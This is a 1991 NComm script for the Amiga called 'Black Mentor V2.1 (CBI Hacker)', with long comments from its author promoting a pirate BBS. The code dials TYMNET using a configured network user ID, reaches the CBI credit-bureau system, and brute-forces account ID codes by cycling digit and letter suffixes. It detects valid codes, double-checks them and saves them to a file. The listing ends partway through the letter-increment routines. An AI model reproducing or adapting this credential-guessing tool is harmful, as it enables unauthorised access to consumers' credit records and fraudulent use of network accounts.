

;;           ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
; ---------- PLEASE READ THE ANNOUCEMENT TEXT BEFORE READING THIS.----------
; ---------- PRESS AMIGA+Q, THEN 'X 2' TO READ THE ANNOUCEMENT... -----------
;           ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '
;
;
; If you loaded this script with the Option 'X 1' on my disk, then you are
;                   in CYGNUS EDITOR Version 2.2
;
;
;
;
;
;
;
;
;
;
;
;
;
;      ----------------------------------------------------------------
;     -*****- B L A C K   M E N T O R   Version 2.1 (CBI-HACKER) -*****-
;      ----------------------------------------------------------------
;
;                          -------------------
;                          A  n  o  t  h  e  r
;                          -------------------
;
;
;            S  p  i  r  i  t  -   P  r  o  d  u  c  t  i  o  n
;            --------------------------------------------------
;
;          - Created By The SPIRIT. Released in August 1991.-
;            Call TRADE-LINE at (514) 966-1133 to contact me,
;                       get Codes and Wares...
;
;           Thanks for The Adept for his Great hacking routine!
;
;
;  н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н
;  FIRST VERSION 1.0 OF B-M CBI HACKER Made by THE ADEPT (About 4000 Bytes)
;  -н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-
; ║French Version
; ║Could hack codes correctly and see when a good code was entered.
; ║That's about all. But he found the routine to increase the values,
;  he did a very good job, and he's a cool friend.
;
;  -н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-
;  VERSION 1.3 to 2.1 OF B-M CBI HACKER Made by THE SPIRIT (about 35000 Bytes)
;  н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н
; ║TWICE faster. The program CAN be faster, but CBI might not be
;  able to handle that mega-speed, that's why I entered the delays I thought
;  would be the best for security/speed. Yow can try changing the delays,
;  but you might miss some codes.. Fuck, do like ya want!
;
; ║Fixed the buggy routine which cause the Hacker to stop at XXXXXXXX-X9
;  Now the letter is  changed and hacking goes on with 0,1,2..
;  BUT it must RE-ALIGN it self afterward, so I guess it's not a big
;  difference.. hehe, I just didn't like it when it stopped at 9..
;
; ║Added COLOR & TEXT
; ║Added MULTKPLES CODE OPTION
; ║Added GARGAGE Security Test (when a BAD CONNECTION WITH C.B.I Occurs)
; ║Added DOUBLE CHECKING of ANYTHING SPECIAL FOUND..
; ║Added LETTER STARTING OPTION
; ║Added CODE SAVING (CBI.CODES)
; ║Added the INTERNAL Configuration
; ║Added the EXTERNAL Configuration (when you load the program)
; ║Added More text, more help, more beep, more shiit.
; ║Added detection of PROCEED, WRONG dial-UP, WRONG SPEED, BUSY, NO dial TONE
;                     CALL CLEARED, HANG-UP....
; ║Added Log Of Hacking.
;
; ║Fixed lotsa bugs from MY version.. hehe.. The only RELEASE I made of
;  this hacker is version 2.10! The ADEPT helped me to test this version..
;  All this shiit was made in 5 days.. haha, from BETA version to 2.1!
;  We are fast in business hey...
;
; ║Created the 100% English version
;  We ain't German dudes with a fucked up english writing.. We are just frogs
;  (french canadian) and we both are almost bilingual..(hey I said ALMOST. ha!)
;
; -----------------------------------------
;|SHORTS DOCS AND HINTS FOR UN-LAME PEOPLE!|
; -----------------------------------------
;
;  You must have the CBI.CONFIG on your NCOMM Disk, it contains
;  the correct COLOR palette and the settings (7-E-1 HALF DUPLEX 2400Bds)
;  I guess the 7-E-1 ain't important, when connected to TYMNET, my
;  DUAL STANDARD 14.4k Baud simply switches to 8-N-1.. You should get
;  this message when connecting :
;
;  CONNECT 2400/ARQ/MNP
;
;  If not, there is something wrong.. Press AMIGA+F, then type ATZ twice,
;  and then press AMIGA+F again (to load up the requester for the script)
;  then run the whole thing back again..
;
;  Some people told me the new CBI system accepts "0" too.. So I included
;  0 in the search pattern.. If you don't like it, just remove it, but don't
;  Spread your new version please. That's mega lame..
;
; The log of Hacking is held in a file called CBI.LOG.
; That way, you know where you left your hacking. Useful.
;
; The Codes found will be saved in file "CBI.CODES". After running this Script,
; you will be asked for the destination DRIVE or ASSIGNED VOLUME where this
; text will be saved. Also, "CBI.CAPTURE" will be stored on your disk each
; 2 to 5 mns.. This file may grow up to 100 Kb if you hack up to 5 codes..
; Be careful to place a disk where you will have enought place.
; That text file could be quite useful.. It's just another security thing..
;
; NEVER DELETE CBI.CODES and CBI.LOG.. EDIT them with ED (Cygnus Editor) found
; on this disk.. You may delete CBI.CAPTURE, because it is only a CAPTURE text.
;
; I include in the text CBI.CODES some codes I found with Black Mentor V2.1..
;
; When something SPECIAL happens, several BEEPS will be heard and the screen
; of Black Mentor will be brought to the front. This option can be disable
; by changing the BELL REGISTER in NCOMM. Try the menus..Anything can be
; changed in fact, but remember not to release the new version, contact me
; first and we'll talk about everything.. thanks!
;
;
; I made a LOT of test of this program and I fixed all bug I found out,
; so this program will detect everything .. Like.. :
;
; - Call Cleared
; - Busy Local CBI Number (rare..But it happens..)
; - No Dial Tone (we are getting deep here.. )
; - Garbage when connected to C.B.I.
; - Selected Speed Unavailable (PC-PURSUIT bug!)
; - PROCEED (good code..)
; - Wrong DIAL-UP used (member/security .. account cannot be used..phone..)
; - Ect...
;
;
;
; This Script works with NCOMM 1.92.
; Done on a night of summer, we REALLY need this shiit!
; And  we had NO time to fool around with C. Why the hell make a C program
; out of this? It works FINE with this script and BELIEVE me it was a LOT
; of work (hey one week of summer lost! arrg I'm loosing my Tan!)..
; But was worth it!
;
;        *******  DON'T SPREAD THIS PROGRAM TO   ********
;        *******  lAmErS! YOU WOULDN'T EM TO     ********
;        *******  HAVE EASY CBI CODES WOULD Ya.. ********
;
; You must enter ALL INFORMATION when you are asked to. Remember this is
; a script and not a CLI program, it's a pain for me to program a routine
; that will check if the info you enter is valid. Remember this is NOT A
; script for LAME BEGINNERS. You must know how CBI works, else GET THE
; OF HERE ASSHOLE and delete this program!
;
;
;        *******  DON'T SPREAD THIS PROGRAM TO   ********
;        *******  lAmErS! YOU WOULDN'T EM TO     ********
;        *******  HAVE EASY CBI CODES WOULD Ya.. ********
;
;
; You may modified this program if YOU DO NOT SPREAD IT TO OTHER PEOPLE.
; Only lamers do that.. So be cool!
; This program is ORIGINAL-WARE. If you like this program, you must
; Buy an original of a good game you got or want! That way I'll be able to
; continue programming my favorite machine and know I can STILL play
; cool games once in a while.. Remember Apple?..
;
;
; JUST SIT BACK AND RELAX! THIS PROGRAM DOES ALL THE WORK FOR YOU AND SAVES
; EVERYTHING, DOUBLE CHECKS CODES, ect, MISSING A CODE IS NOT POSSIBLE
; WITH THIS PROGRAM ** EXCEPT ** IF YOU GET A BAD CONNECTION WHEN
; DIALING TYMNET.. SIMPLY CHECK IF YOU GET A LOT OF NOISE.. AND JUST
; PRESS AMIGA+F TO STOP THE PROGRAM, THEN RESET YAR MODEM AND RE-LOAD
; THE COMPLETE PROGRAM..
;
;
; Oh yeh, while I'm here let me pass my message..
;
; Being ELITE sucks.. That's my rule. Runners are necessary , but why
; should they get all the fame? Being a programmer is a lot more harder,
; and we need more good programmers for Amiga.. They are too many
; spreaders out there, some should stop and Pprogram instead. Programming
; is cool.. Anyways, I have a lot of ideas.. My next programs will be in 'C'
; (I was a runner for 1 year BTW..)
;
;
; Call TRADE-LINE, a very fast board I like..     [ 514 ] 966-1133
; ~~~~~~~~~~~~~~~(there is a great H/P section too)~~~~~~~~~~~~~~~~
;
; By the way, you won't see me anymore in the scene for a long time..
; I'm leaving for an English school in France in September 91..
; And after I'm going to California.. Hey Andeveron , I'll be
; at your place soon.. haha. In 1 YEAR!
;
; Greetings to real great contact I have had during my modeming time..:
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; Godfry, Capricorn, The Raven,  Mci Sprinter, The Adept,
; Norse Wanderer, Tomcat, Alpha/Beta, Andeveron, Mega-Man, Groovy,
; The Omega, Big Marc, Wild Fire, Hossein Danesh.
;
; And a big YO to all these cool guys :
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
; British Knight (The Drummer), Elektra/AGiLE, Lone Wolf/SpellJammers,
; Beowulf, Devious Doze/Trauma,Red Devil, Kremlin, Shinobi, Ice-Man,
; Fugazi, LowTec, Phil, Joe Cool, Problem Child, Rick Hunter, Professor,
; Presto, Spread(s)/Legend (who is nicer than before. haha ), DOC/SJ,
; Flash Back, Flash, Nosferatu, ... And all other guys I have forgotten.
;
;
;
; IMPORTANT-----> LET THE PROGRAM RUN ! IT WILL BEEP WHENEVER SOMETHING
; %%%%%%%%%       SPECIAL HAPPENS! DON'T THINK THAT IT'S JAMED OR SOMETHING
;                 JUST LET IT GO ON! IT WORKS ALL THE TIME.. REMEMBER THE
;                 DELAYS IN THE PROGRAM ARE NECESSARY ! .. BECAUSE TYMNET
;                 DOESN'T RESPOND THE SAME WAY EACH TIME!
;
;                   (((((( B E - P A T I E N T ! )))))
;                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
;
; Oh yeh , TRY PRESSING RIGHT MOUSE BUTOTN + LEFT MOUSE BUTTON!..
; It will SWITCH betweens applications.. Thanks to CLOCKDJ ..
;
; ****************************************************************************
;- INTERNAL CONFIGURATION -  (MUST BE MODIFIED!) This works for us! Not for U!
; *****************************************************************************

INTERNALCONFIG:

set $meg   = "7471370"             ; Enter the Local TYMNET number to dial.
set $nui   = "DYNAPAC1: 3145"      ; Enter the NUI to use
set $pw    = "0"                   ; Leave to 0 if no PW for NUI,else enter it
set $od    = "311071300114"        ; Enter the OD.
set $num   = "5918100"             ; Enter the LOCAL CBI number
set $nb    = "0"                   ; U can't touch this!
set $error = "0"                   ; U can't touch this!
set $var   = "a"                   ; U can't touch this!
set $id2   = "1"                   ; U can't touch this!
set $id3   = "1"                   ; U can't touch this!
set $id4   = "1"                   ; U can't touch this!
set $id5   = "1"                   ; I hate MC-hammer BTW. P.E rules.
set $disk  = "df1"                 ; Don't bother.
set $test  ="0"                    ; Don't even THINK about it.. haha
set $spirit= "1"                   ; Call Trade-Line Instead. (514) 966-1133
set $eg= "0"
set $cia="0"
set $fuck="0"
set $gloria="0"

; ************************************************************
; * DON'T TOUCH ANYTHING FROM NOW ON.. IF YOU DO, REMEMBER   *
; * NOT TO SPREAD THE PROGRAM IN A MODIFIED FORM..           *
; ************************************************************

when "PHONE" gosub dialUP
when "phone" gosub dialUP
when "call cleared" goto CONNECTION2
when "SELECTED SPEED" goto OD
when "NO DIAL TONE" goto OD
when "speed" goto OD
when "BUSY" goto OD
when "busy" goto OD
when "NO ANSWER" goto OD
when "Proceed" goto REALFOUND
when "proceed" goto REALFOUND
when "PROCEED" goto REALFOUND
when "local" goto CONNECTION2
when "LOCAL" goto CONNECITON2
when "dropped by host" goto CONNECTION2
when "DROPPED BY HOST" goto CONNECTION2
when "N╧" goto REALDEAD

;
;                     ____ ___  . ___  . _________
;             The    /___ /__/ / /__/ /  /          Presents
;               ________//    / / \__/  /           ~~~~~~~~
;
;             ----------------------------------------------
;             -*- BLACK MENTOR Version 2.1 (CBI HACKER)  -*-
;             ----------------------------------------------


START:

message "^L"
beep
config "NComm:CBI.config"
message "\n\n\n"
message "                      [33mн-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н[0m\n"
message "  July 1991           [33m|     [35mBLACK MENTOR Ver 2.1[33m    |\n"
message "  [37m-[34m[37m-           [33mн-н-н-н-н-н-н-н-н-н-н-н-н-н-н-н[0m\n"
message "\n"
message "[34mCODERS    : \/\ [35mThe Adept [34m\/\  (FIRST Version)\n"
message "[34mCODERS    : \/\ [35mThe Spirit[34m \/\ (Version 1.3 up to 2.1) \n"
message "\n\n"
message "[34m          -н-н-╗-╗-╗н╗-╗н- [36mIMPORTANT INFORMATIONS[34m н-л-л-л-л-лн-нн-н\n\n"
message "[35m    ALWAYS ENTER 1 IF YOU DON'T NEED THE OPTION! THIS IS ABSOLUTLY REQUIRED\n"
message "      IF YOU DON'T DO THIS PROPERLY, THE PROGRAM WON'T WORK AS EXPECTED..\n"
message "    JUST TAKE THE TIME TO CONFIGURE IT..PUT THE VOLUME UP, BECAUSE BEEPS\n"
message "      ARE USED TO SIGNAL ERRORS, AND NCOMM BEEPS ARE REALLY FAINT..\n"
message "      IF YOU DON'T WANT TO HAVE A DISK FULL MSG. USE A FORMATTED DISK\n"
message "     THIS PROGRAM IS VERY GOOD IN ERROR SITUATIONS.. JUST LET IT RUN\n"
message "      IF YOU SEE 'SCR' IN BLUE IN THE RIGHT CORNER, IT AIN'T OVER!\n "
message "    EDIT THIS SCRIPT BEFORE RUNNING. INTERNAL CONFIG MUST BE MODIFIED..\n\n"
message "[34m          нннннннннннннннн [36mIMPORTANT INFORMATIONS[34m ннннннннннннннннн\n\n"
message "[34m--[0mEnter the [32mDestination drive[0m or assigned Volume where the text"
message "\n[0m  Files created will be stored [34m([35mUse this format : df1,dh0,dh1,...[34m)-> [32m"
input $disk "\r"
if $disk=="1" then gosub COMEON
cd $disk":"
message "\n[34m--[0mEnter the [32mID code[0m to hack (followed by a dash)               [34m-> [33m"
input $id "\r"
message "\n[34m--[0mEnter the [32mFirst Letter[0m to start Hacking at ([37mFIRST CODE[0m)       [34m-> [35m"
input $var "\r"
if $var=="1" then goto what
message "\n[34m--[0mEnter the [32mSecond ID code[0m to hack (You MUST enter 1 for NONE) [34m-> [33m"
input $id2 "\r"
if $id2=="1" then goto yo
message "\n[34m--[0mEnter the [32mFirst Letter[0m to start Hacking at ([37mSECOND CODE[0m)      [34m-> [35m"
input $var2 "\r"
message "\n[34m--[0mEnter the [32mThird  ID code[0m to hack (You MUST enter 1 for NONE) [34m-> [33m"
input $id3 "\r"
if $id3=="1" then goto yo
message "\n[34m--[0mEnter the [32mFirst Letter[0m to start Hacking at ([37mTHIRD CODE[0m)       [34m-> [35m"
input $var3 "\r"
message "\n[34m--[0mEnter the [32mFourth ID code[0m to hack (You MUST enter 1 for NONE) [34m-> [33m"
input $id4 "\r"
if $id4=="1" then goto yo
message "\n[34m--[0mEnter the [32mFirst Letter[0m to start Hacking at ([37mFOURTH CODE[0m)      [34m-> [35m"
input $var4 "\r"
message "\n[34m--[0mEnter the [32mFifth  ID code[0m to hack (You MUST enter 1 for NONE) [34m-> [33m"
input $id5 "\r"
if $id5=="1" then goto yo
message "\n[34m--[0mEnter the [32mFirst Letter[0m to start Hacking at ([37mFifTH CODE[0m)       [34m-> [35m"
input $var5 "\r"

YO:

message "\n\n"
message "\n[0m[37m===[0mIs Everything Cool? Hit [[35mRETURN[0m] when Ready Or [32mAMIGA+F[0m to Exit[37m===[0m"
input $anykey "\r"
message "\n"
message "\n\n-----<[34mDIALING[0m>-----\n\n"
dial# $meg
wait ""
delay 1
send "/"

CONNECTION:

timeout 40 goto sendanyways
message "\n"
converse  "log in:"  "P^H ^M"
delay 2
send $nui"\n"
if !$pw=="0" then gosub pw
converse ";" $od"\n"
wait "connected:"
message "\n"
delay 1
message "[34m"
send "ATDT"$num"\n"
message "[0m"
capture "CBI.CAPTURE"
set $PASS= ""
set $TURN= ""
goto OD

CONNECTION2:

timeout 40 goto sendanyways
message "\n"
converse  "log in:"  "P^H ^M"
delay 2
send $nui"\n"
if !$pw=="0" then gosub pw
converse ";" $od"\n"
wait "connected"
message "[34m"
send "ATDT"$num"\n"
message "[0m"
capture OFF
capture "CBI.CAPTURE"
set $PASS= ""
goto OD

SENDANYWAYS:

beep
message "\n\n[34m----[33m Oh yeah? Well [37mEAT THIS![34m ----"
beep
delay 1
message "\n\n"
send $nui"\n"
if !$pw=="0" then gosub pw
delay 2
message "\n\n"
send $od"\n"
timeout 60 goto FUCK
wait "connected"
message "[34m"
send "ATDT"$num"\n"
message "[0m"
capture "CBI.CAPTURE"
set $PASS= ""
set $TURN= ""
goto OD

FUCK:

hangup
delay 2
hangup
beep
delay 2
capture OFF
capture "CBI.CAPTURE"
message "\n\n[34m--- [35mGrmblh.. I am [33mREDIALING[35m that sucker out. wait up. [34m---[0m\n\n "
dial# $meg
goto connection2


WHAT:

message "^L"
beep
message "\n\n\n\n\n You cannot [35mDISABLE[0m this option! You must enter the first"
message "\n letter you wish to start you first code at.. if you enter B , the"
message "\n program will start searching at [36mXXXXXXXXX-b0 [0mto [33mXXXXXXXXX-z9[0m.."
message "\n if you don't understand this, Press Amiga+F now and then Amiga+Q"
message "\n\n\n[0m:::Hit [[37mreturn[0m] to [31mRe-configure[0m:::"
input $anykey "\r"
goto internalconfig

PW:

message "\n"
delay 3
send $pw"\n"
return

HUNGUPP:

message "\n-----<[34mDIALING AGAIN![0m>-----\n\n"
dial# $meg
wait ""
delay 1
send "/"
goto connection2

TEST1:

if $var2=="1" then set $var="A"
set $var2="2"
if $turn =="yeh" then set $turn="NEWCODE"
if $fuck=="2" then set $turn="TREE"
set $spirit="0"
return


TEST2:

if $var3=="1" then set $var="A"
set $var3="2"
if $turn =="yeh" then set $turn="NEWCODE"
if $fuck=="2" then set $turn="TREE"
set $spirit="0"
return


TEST3:

if $var4=="1" then set $var="A"
set $var4="2"
if $turn =="yeh" then set $turn="NEWCODE"
if $fuck=="2" then set $Turn="TREE"
set $spirit="0"
return


TEST4:

if $var5=="1" then set $var="A"
set $var5="2"
if $turn =="yeh" then set $turn="NEWCODE"
if $fuck=="2" then set $turn="TREE"
set $spirit="0"
return

HUNGUP:

set $gloria="1"
beep
message "\n\n[34m---  [35mTYMNET HAS HUNG UP *OR* [36mC.B.I.[35m IS NOT ANSWERING! [34m--"
beep
message "\n\n[34m---  [35mEVERYTHING IS UNDER CONTROL,I AM [33mRE-DIALING[35m ..[34m    --[0m\n\n"
beep
message "[33m\n"
send "ATDT"$num"\n"
message "[0m"
timeout 50 goto hungupp
wait "CONNECT 1200"
beep
message "\n\n [34m--  [32mNO PROBLEM! BACK IN C.B.I HACKING AGAIN..[34m   -- "
beep
message "\n [34m--  [32m(The CBI D-U just didn't answer last time)[34m  --[0m\n\n"
beep
delay 1
send "\n\n\n"
timeout 35 goto GARBAGE
wait "SIGN-ON"
set $gloria="0"
if $TURN == "ONE" THEN goto HACK345A
if $TURN == "TWO" THEN goto HACK678A
if $TURN == "TREE" THEN goto HACK9
if $cia =="1" then goto hack012C
goto HACK012A


GARBAGE:

if $gloria=="1" then goto hungup
beep
message "\n\n [36m-- [32mLINE NOISE/BAD CONNECTION DETECTOR ALERT![36m    --[0m\n\n"
beep
timeout 90 goto GARBAGE2
wait "NO CARRIER"
set $PASS="OK"
beep
message "\n\n [36m-- [32mPROBLEM FIXED! returning to Normal Operation[36m --[0m\n\n"
beep
goto OD

GARBAGE2:

send ".^S"
timeout 25 goto garbage2
wait "NO CARRIER"
message "\n\n [36m-- [32mPROBLEM FIXED! returning to Normal Operation[36m --[0m\n\n"
set $PASS="OK"

OD:

when "PHONE" gosub dialUP
when "phone" gosub dialUP
when "call cleared" goto CONNECTION2
when "SELECTED SPEED" goto OD
when "NO DIAL TONE" goto OD
when "speed" goto OD
when "BUSY" goto OD
when "busy" goto OD
when "NO ANSWER" goto OD
when "Proceed" goto REALFOUND
when "proceed" goto REALFOUND
when "PROCEED" goto REALFOUND
when "local" goto CONNECTION2
when "LOCAL" goto CONNECITON2
when "dropped by host" goto CONNECTION2
when "DROPPED BY HOST" goto CONNECTION2
when "N╧" goto REALDEAD

if $spirit == "9" then goto od2
if $test == "1" then gosub test1
if $test == "2" then gosub test2
if $test == "3" then gosub test3
if $test == "4" then gosub test4
timeout 95 goto HUNGUP
echo off
message "^L[34m"
if $PASS== "OK" THEN send "ATDT"$num"\n"
message "[0m"
set $PASS= "OK"
set $gloria="1"
wait "CONNECT 1200"
delay 1
send "\n\n\n"
set $gloria="0"
when "NO CARRIER" goto OD
timeout 35 goto GARBAGE
wait "SIGN-ON"
dlwhen
if $TURN== "ONE" THEN goto HACK345A
if $TURN== "TWO" THEN goto HACK678A
if $TURN== "TREE" THEN goto HACK9
if $cia=="1" then goto hack012C
goto HACK012A

OD2:

if $test=="1" then gosub test1
if $test=="2" then gosub test2
if $test=="3" then gosub test3
if $test=="4" then gosub test4
set $PASS= "OK"
if $cia=="1" then goto hack012C
if $TURN== "NEWCODE" THEN goto hack012b
if $TURN== "DEVIL" THEN goto HACK012A


HACK012A:

set $gloria="0"
set $fuck="0"
if $spirit=="9" then goto HACK012B
set $spirit="0"
set $error="0"
delay 2
message "[36m"
send $id$var"0.^S"
message "[0m"
set $nb = "0"
write $disk":CBI.LOG" "...LOG: "$id$var$nb"\n"
timeout 26 gosub found
if $error=="1" then goto od
wait "RETRY"
delay 1
message "[36m"
send $id$var"1.^S"
set $nb = "1"
write $disk":CBI.LOG" "...LOG: "$id$var$nb"\n"
message "[0m"
timeout 26 gosub found
if $error=="1" then goto od
wait "RETRY"
delay 1
message "[36m"
send $id$var"2.^S"
message "[0m"
set $nb = "2"
write $disk":CBI.LOG" "...LOG: "$id$var$nb"\n"
timeout 55 gosub found
if $error=="1" then goto od
set $TURN = "ONE"
wait "NO CARRIER"
goto OD

HACK012B:

set $gloria="0"
set $fuck="0"
set $spirit="0"
set $error="0"
delay 2
message "[36m"
send $id$var"0.^S"
message "[0m"
set $nb = "0"
write $disk":CBI.LOG" "...LOG: "$id$var$nb"\n"
timeout 26 gosub found
if $error=="1" then goto od
wait "RETRY"
delay 1
message "[36m"
send $id$var"1.^S"
message "[0m"
set $nb = "1"
write $disk":CBI.LOG" "...LOG: "$id$var$nb"\n"
timeout 55 gosub found
if $error=="1" then goto od
wait "NO CARRIER"
set $cia ="1"
goto od

HACK012C:

set $gloria="0"
set $fuck="0"
delay 2
message "[32m"
send $id$var"2.^S"
message "[0m"
set $nb = "2"
write $disk":CBI.LOG" "...LOG: "$id$var$nb"\n"
timeout 26 gosub found
if $error=="1" then goto od
wait "RETRY"
delay 1
message "[32m"
send $id$var"X.^S"
message "[0m"
wait "RETRY"
delay 1
message "\n"
send $id$var"X.^S"
message "\n\n[34m-^- [33mBUFFER NUKED.. RESETTING TURNS..[34m-^-[0m\n"
message "[34m-^- [34m[34m-^-[0m\n\n"
set $cia="0"
timeout 55 gosub found
if $error=="1" then goto od
set $TURN = "ONE"
wait "NO CARRIER"
goto OD


DIALUP:

echo off
timeout 90 goto CONNECTION2
wait "NO CARRIER"
beep
delay 1
beep
delay 1
beep
delay 1
beep
message "^L\n\n"
beep
message " [33mCODE FOUND! [0mBut it's not available from the C.B.I dial up you used..!\n"
beep
message " This could be an error (Line noise?), so I'm now [32mDouble Checking[0m. \n"
beep
message " [35mIf it was an error, The program will continue normally.. [0m\n"
beep
message "[37m Re-dialing the CBI number...[0m\n\n"
message "[32m =к=║==║==║==║==║==║==║=║=   [0m\n\n"
beep
message "[34m"
send "ATDT"$num"\n"
message "[0m"
timeout 30 goto dialup
wait "CONNECT 1200"
delay 2
send "\n\n\n"
wait "SIGN-ON"
beep
delay 1
beep
delay 1
beep
send $id$var$nb".^S"
timeout 30 goto od
DwhenS
wait "PHONE"
timeout 220 goto WRONG
wait "NO CARRIER"
goto WRONG


WRONG:

message "^L\n"
beep
message "\n =-[34mCODE FOUND[0m-= : [36m"$id$var$nb".\n\n"
beep
message "[33m The DIAL-UP you used is not good. This means that the\n"
beep
message " account WORKS but not on this system. So you may either\n"
beep
message " try it on another dial-up OR hack another account..\n"
beep
message " You decide. Anyways, I've done MY job. haha.. \n"
beep
message " [32mCALL TRADE-LINE ( 514 ) 966-1133, VERY good H/P Subs.[0m\n"
beep
delay 1
timeout 30 goto GOON
message "\n[35m You have thirty seconds, before BLACK MENTOR V2.1 goes on..[0m\n"
message "\n\n\n[0m[37m===[0mPRESS [[35mRETURN[0m] to go on![37m===[0m"
input $anykey "\r"
beep
message "\n\n[34m\n SAVING THE CODE TO FILE 'CBI.CODES'....\n "


GOON:

message "\n\n[34m\n SAVING THE CODE TO FILE 'CBI.CODES'....\n "
write $disk":CBI.CODES" "\n## GOOD Account, WRONG dial-Up Used              -->[33m    "$id$var$nb".\n               [0m->[36mBLACK MENTOR V2.1 CREATED By THE SPIRIT (c) 1991[0m<- \n\n"
set $id="0"
if $nb=="9" then set $cia="0"
set $fuck="0"
set $turn=""
if $test=="4" then set $test="5"
if $test=="3" then set $test="4"
if $test=="2" then set $test="3"
if $test=="1" then set $test="2"
if $test=="0" then set $test="1"

if $test=="2" then set $id2="1"
if $test=="3" then set $id3="1"
if $test=="4" then set $id4="1"
if $test=="5" then set $id5="1"
if !$id2=="1" then goto change
if !$id3=="1" then goto change2
if !$id4=="1" then goto change3
if !$id5=="1" then goto change4
if !$id2 == "1" then goto od
if !$id3 == "1" then goto od
if !$id4 == "1" then goto od
if !$id5 == "1" then goto od
beep
message "\n           -- [33mPROGRAM TERMINATED[34m --      [0m       \n"
capture off
hangup
delay 2
hangup
end


HACK345A:

set $gloria="0"
set $fuck="0"
set $spirit="0"
set $error="0"
delay 2
message "[33m"
send $id$var"3.^S"
message "[0m"
set $nb = "3"
write $disk":CBI.LOG" "...LOG: "$id$var$nb"\n"
timeout 26 gosub found
if $error=="1" then goto od
wait "RETRY"
delay 1
message "[33m"
send $id$var"4.^S"
message "[0m"
set $nb = "4"
write $disk":CBI.LOG" "...LOG: "$id$var$nb"\n"
timeout 26 gosub found
if $error=="1" then goto od
wait "RETRY"
delay 1
message "[33m"
send $id$var"5.^S"
message "[0m"
set $nb = "5"
write $disk":CBI.LOG" "...LOG: "$id$var$nb"\n"
timeout 55 gosub found
if $error=="1" then goto od
set $TURN = "TWO"
wait "CARRIER"
goto OD


HACK678A:

set $gloria="0"
set $spirit="0"
set $error="0"
delay 2
message "[37m"
send $id$var"6.^S"
message "[0m"
set $nb = "6"
write $disk":CBI.LOG" "...LOG: "$id$var$nb"\n"
timeout 26 gosub found
if $error=="1" then goto od
wait "RETRY"
delay 1
message "[37m"
send $id$var"7.^S"
message "[0m"
set $nb = "7"
write $disk":CBI.LOG" "...LOG: "$id$var$nb"\n"
timeout 26 gosub found
if $error=="1" then goto od
wait "RETRY"
delay 1
message "[37m"
send $id$var"8.^S"
message "[0m"
set $nb = "8"
write $disk":CBI.LOG" "...LOG: "$id$var$nb"\n"
timeout 55 gosub found
if $error=="1" then goto od
wait "CARRIER"
set $TURN = "TREE"
set $fuck= "2"
goto OD

HACK9:

set $gloria="0"
set $error="0"
delay 2
message "[33m"
send $id$var"9.^S"
message "[0m"
set $nb = "9"
write $disk":CBI.LOG" "...LOG: "$id$var$nb"\n"
timeout 26 gosub found
set $turn="yeh"
wait "RETRY"
message "[33m"
set $spirit ="9"
message "[0m"
timeout 0
set $fuck="0"
goto DETECTCHANGE

DETECTCHANGE:

if $var == "A" THEN goto CHANGETOB
if $var == "B" THEN goto CHANGETOC
if $var == "C" THEN goto CHANGETOD
if $var == "D" THEN goto CHANGETOE
if $var == "E" THEN goto CHANGETOF
if $var == "F" THEN goto CHANGETOG
if $var == "G" THEN goto CHANGETOH
if $var == "H" THEN goto CHANGETOI
if $var == "I" THEN goto CHANGETOJ
if $var == "J" THEN goto CHANGETOK
if $var == "K" THEN goto CHANGETOL
if $var == "L" THEN goto CHANGETOM
if $var == "M" THEN goto CHANGETON
if $var == "N" THEN goto CHANGETOO
if $var == "O" THEN goto CHANGETOP
if $var == "P" THEN goto CHANGETOQ
if $var == "Q" THEN goto CHANGETOR
if $var == "R" THEN goto CHANGETOS
if $var == "S" THEN goto CHANGETOT
if $var == "T" THEN goto CHANGETOU
if $var == "U" THEN goto CHANGETOV
if $var == "V" THEN goto CHANGETOW
if $var == "W" THEN goto CHANGETOX
if $var == "X" THEN goto CHANGETOY
if $var == "Y" THEN goto CHANGETOZ
if $var == "Z" THEN goto CHANGETOTEST


CHANGETOB:

set $var = "B"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOC:

set $var = "C"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOD:

set $var = "D"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOE:

set $var = "E"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOF:

set $var = "F"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOG:

set $var = "G"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOH:

set $var = "H"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOI:

set $var = "I"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOJ:

set $var = "J"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOK:

set $var = "K"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOL:

set $var = "L"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOM:

set $var = "M"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETON:

set $var = "N"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOO:

set $var = "O"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOP:

set $var = "P"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOQ:

set $var = "Q"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOR:

set $var = "R"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOS:

set $var = "S"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOT:

set $var = "T"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOU:

set $var = "U"
capture OFF
capture "CBI.CAPTURE"
goto OD

CHANGETOV:

set $var = "V"
capture OFF
capture "CBI.CAPTURE"
goto OD

